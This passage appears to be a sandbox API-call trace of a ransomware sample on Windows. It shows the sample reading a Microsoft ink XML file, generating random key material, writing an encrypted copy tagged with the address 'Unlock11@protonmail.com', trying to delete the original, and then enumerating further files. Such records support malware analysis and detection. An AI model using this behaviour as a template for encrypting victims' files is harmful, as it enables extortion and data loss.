GetLastError () returned 0x0 [0122.537] GetLastError () returned 0x0 [0122.537] GetLastError () returned 0x0 [0122.537] GetCurrentThreadId () returned 0x9b0 [0122.537] GetLastError () returned 0x0 [0122.537] GetLastError () returned 0x0 [0122.537] GetLastError () returned 0x0 [0122.537] GetLastError () returned 0x0 [0122.537] GetLastError () returned 0x0 [0122.538] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0122.538] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x188)) returned 1 [0122.538] GetLastError () returned 0x0 [0122.538] GetCurrentThreadId () returned 0x9b0 [0122.538] GetLastError () returned 0x0 [0122.538] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0122.539] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366837c | out: pbBuffer=0x366837c) returned 1 [0122.539] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0122.539] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0122.539] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0122.539] GetCurrentThreadId () returned 0x9b0 [0122.539] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea778 [0122.539] GetLastError () returned 0x0 [0122.539] GetLastError () returned 0x0 [0122.539] GetLastError () returned 0x0 [0122.539] GetLastError () returned 0x0 [0122.540] GetCurrentThreadId () returned 0x9b0 [0122.540] GetLastError () returned 0x0 [0122.540] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea778 | out: hHeap=0x2ad0000) returned 1 [0122.540] GetCurrentThreadId () returned 0x9b0 [0122.540] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea778 [0122.540] GetLastError () returned 0x0 [0122.540] GetLastError () returned 0x0 [0122.540] GetLastError () returned 0x0 [0122.540] GetLastError () returned 0x0 [0122.540] GetCurrentThreadId () returned 0x9b0 [0122.540] GetLastError () returned 0x0 [0122.541] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea778 | out: hHeap=0x2ad0000) returned 1 [0122.541] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6d68 [0122.541] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a31b0 | out: hHeap=0x2ad0000) returned 1 [0122.541] GetLastError () returned 0x0 [0122.541] GetLastError () returned 0x0 [0122.541] GetLastError () returned 0x0 [0122.541] GetLastError () returned 0x0 [0122.541] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0122.541] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d78 [0122.541] GetLastError () returned 0x0 [0122.541] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.542] GetFileType (hFile=0x39c) returned 0x1 [0122.542] GetLastError () returned 0x0 [0122.542] GetCurrentThreadId () returned 0x9b0 [0122.542] GetLastError () returned 0x0 [0122.542] GetFileType (hFile=0x39c) returned 0x1 [0122.542] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.542] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.542] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.542] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.542] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.543] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.543] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.543] GetLastError () returned 0x0 [0122.543] GetCurrentThreadId () returned 0x9b0 [0122.543] GetLastError () returned 0x0 [0122.543] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d78 | out: hHeap=0x2ad0000) returned 1 [0122.543] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0122.543] GetLastError () returned 0x0 [0122.543] GetLastError () returned 0x0 [0122.543] GetLastError () returned 0x0 [0122.543] GetLastError () returned 0x0 [0122.543] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0122.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6cb8 [0122.544] GetLastError () returned 0x0 [0122.544] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.545] GetFileType (hFile=0x3ac) returned 0x1 [0122.545] GetLastError () returned 0x0 [0122.545] GetCurrentThreadId () returned 0x9b0 [0122.545] GetLastError () returned 0x0 [0122.545] GetFileType (hFile=0x3ac) returned 0x1 [0122.545] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.545] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.545] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.545] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.545] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.545] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.546] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.546] GetLastError () returned 0x0 [0122.546] GetCurrentThreadId () returned 0x9b0 [0122.546] GetLastError () returned 0x0 [0122.546] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0122.546] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bbf10 | out: hHeap=0x2ad0000) returned 1 [0122.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0122.546] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0122.546] GetLastError () returned 0x0 [0122.546] GetLastError () returned 0x0 [0122.546] GetCurrentThreadId () returned 0x9b0 [0122.546] GetLastError () returned 0x0 [0122.547] GetCurrentThreadId () returned 0x9b0 [0122.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0122.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0122.547] GetLastError () returned 0x0 [0122.547] GetLastError () returned 0x0 [0122.547] GetCurrentThreadId () returned 0x9b0 [0122.547] GetLastError () returned 0x0 [0122.547] GetLastError () returned 0x0 [0122.548] GetLastError () returned 0x0 [0122.548] GetCurrentThreadId () returned 0x9b0 [0122.548] GetLastError () returned 0x0 [0122.548] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d68 | out: hHeap=0x2ad0000) returned 1 [0122.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1a8) returned 0x3028e60 [0122.549] GetLastError () returned 0x0 [0122.549] GetLastError () returned 0x0 [0122.549] GetLastError () returned 0x0 [0122.549] GetLastError () returned 0x0 [0122.549] GetCurrentThreadId () returned 0x9b0 [0122.549] GetLastError () returned 0x0 [0122.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028e60 | out: hHeap=0x2ad0000) returned 1 [0122.549] GetCurrentThreadId () returned 0x9b0 [0122.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0122.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0122.549] GetLastError () returned 0x0 [0122.550] GetLastError () returned 0x0 [0122.550] GetCurrentThreadId () returned 0x9b0 [0122.550] GetLastError () returned 0x0 [0122.550] GetLastError () returned 0x0 [0122.550] GetLastError () returned 0x0 [0122.550] GetCurrentThreadId () returned 0x9b0 [0122.550] GetLastError () returned 0x0 [0122.550] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f86f8 | out: hHeap=0x2ad0000) returned 1 [0122.550] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.550] GetLastError () returned 0x0 [0122.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.551] CloseHandle (hObject=0x3ac) returned 1 [0122.551] GetLastError () returned 0x0 [0122.552] GetCurrentThreadId () returned 0x9b0 [0122.552] GetLastError () returned 0x0 [0122.552] GetLastError () returned 0x0 [0122.552] CloseHandle (hObject=0x39c) returned 1 [0122.552] GetLastError () returned 0x0 [0122.552] GetCurrentThreadId () returned 0x9b0 [0122.552] GetLastError () returned 0x0 [0122.552] GetLastError () returned 0x0 [0122.552] GetLastError () returned 0x0 [0122.552] GetLastError () returned 0x0 [0122.553] GetLastError () returned 0x0 [0122.553] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0 [0122.553] GetLastError () returned 0x5 [0122.553] GetCurrentThreadId () returned 0x9b0 [0122.553] GetLastError () returned 0x5 [0122.553] GetLastError () returned 0x5 [0122.553] GetLastError () returned 0x5 [0122.553] GetLastError () returned 0x5 [0122.553] LocalFree (hMem=0x1053b30) returned 0x0 [0122.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0122.554] GetCurrentThreadId () returned 0x9b0 [0122.554] GetLastError () returned 0x5 [0122.554] GetLastError () returned 0x5 [0122.554] GetLastError () returned 0x5 [0122.554] GetLastError () returned 0x5 [0122.554] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7390 [0122.563] GetLastError () returned 0x5 [0122.563] GetCurrentThreadId () returned 0x9b0 [0122.563] GetLastError () returned 0x5 [0122.563] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0122.563] GetLastError () returned 0x5 [0122.563] GetCurrentThreadId () returned 0x9b0 [0122.563] GetLastError () returned 0x5 [0122.563] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd05, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="base.xml", cAlternateFileName="")) returned 1 [0122.563] GetLastError () returned 0x5 [0122.564] GetCurrentThreadId () returned 0x9b0 [0122.564] GetLastError () returned 0x5 [0122.564] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0122.564] GetLastError () returned 0x5 [0122.564] GetCurrentThreadId () returned 0x9b0 [0122.564] GetLastError () returned 0x5 [0122.564] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0122.564] GetLastError () returned 0x5 [0122.564] GetCurrentThreadId () returned 0x9b0 [0122.564] GetLastError () returned 0x5 [0122.564] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc9, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0122.564] GetLastError () returned 0x5 [0122.564] GetCurrentThreadId () returned 0x9b0 [0122.565] GetLastError () returned 0x5 [0122.565] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0122.565] GetLastError () returned 0x5 [0122.565] GetCurrentThreadId () returned 0x9b0 [0122.565] GetLastError () returned 0x5 [0122.565] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0122.565] GetLastError () returned 0x5 [0122.565] GetCurrentThreadId () returned 0x9b0 [0122.565] GetLastError () returned 0x5 [0122.565] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0122.565] GetLastError () returned 0x5 [0122.565] GetCurrentThreadId () returned 0x9b0 [0122.565] GetLastError () returned 0x5 [0122.566] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0122.566] GetLastError () returned 0x5 [0122.566] GetCurrentThreadId () returned 0x9b0 [0122.566] GetLastError () returned 0x5 [0122.566] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0122.566] GetLastError () returned 0x5 [0122.566] GetCurrentThreadId () returned 0x9b0 [0122.566] GetLastError () returned 0x5 [0122.566] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0122.566] GetLastError () returned 0x5 [0122.566] GetCurrentThreadId () returned 0x9b0 [0122.566] GetLastError () returned 0x5 [0122.566] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0122.567] GetLastError () returned 0x5 [0122.567] GetCurrentThreadId () returned 0x9b0 [0122.567] GetLastError () returned 0x5 [0122.567] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0122.567] GetLastError () returned 0x5 [0122.567] GetCurrentThreadId () returned 0x9b0 [0122.567] GetLastError () returned 0x5 [0122.567] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0122.567] GetLastError () returned 0x5 [0122.567] GetCurrentThreadId () returned 0x9b0 [0122.567] GetLastError () returned 0x5 [0122.567] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0122.568] GetLastError () returned 0x12 [0122.568] GetCurrentThreadId () returned 0x9b0 [0122.568] GetLastError () returned 0x12 [0122.568] GetLastError () returned 0x12 [0122.568] FindClose (in: hFindFile=0x10f7390 | out: hFindFile=0x10f7390) returned 1 [0122.569] GetLastError () returned 0x12 [0122.569] GetLastError () returned 0x12 [0122.569] GetLastError () returned 0x12 [0122.569] GetLastError () returned 0x12 [0122.569] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0122.569] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0122.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2618 | out: hHeap=0x2ad0000) returned 1 [0122.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0122.570] GetCurrentThreadId () returned 0x9b0 [0122.570] GetLastError () returned 0x12 [0122.571] GetLastError () returned 0x12 [0122.571] GetLastError () returned 0x12 [0122.571] GetLastError () returned 0x12 [0122.571] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0122.571] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0122.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2a38 | out: hHeap=0x2ad0000) returned 1 [0122.572] GetLastError () returned 0x12 [0122.572] GetLastError () returned 0x12 [0122.573] GetLastError () returned 0x12 [0122.573] GetLastError () returned 0x12 [0122.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0122.573] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0122.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0122.573] GetCurrentThreadId () returned 0x9b0 [0122.573] GetLastError () returned 0x12 [0122.573] GetLastError () returned 0x12 [0122.573] GetLastError () returned 0x12 [0122.573] GetLastError () returned 0x12 [0122.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0122.574] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0122.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0122.574] GetLastError () returned 0x12 [0122.574] GetLastError () returned 0x12 [0122.574] GetLastError () returned 0x12 [0122.574] GetLastError () returned 0x12 [0122.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0122.574] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0122.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2cd8 | out: hHeap=0x2ad0000) returned 1 [0122.575] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881180, Size=0x20) returned 0x33ea598 [0122.575] GetCurrentThreadId () returned 0x9b0 [0122.575] GetLastError () returned 0x12 [0122.576] GetLastError () returned 0x12 [0122.576] GetLastError () returned 0x12 [0122.576] GetLastError () returned 0x12 [0122.576] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0122.576] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common 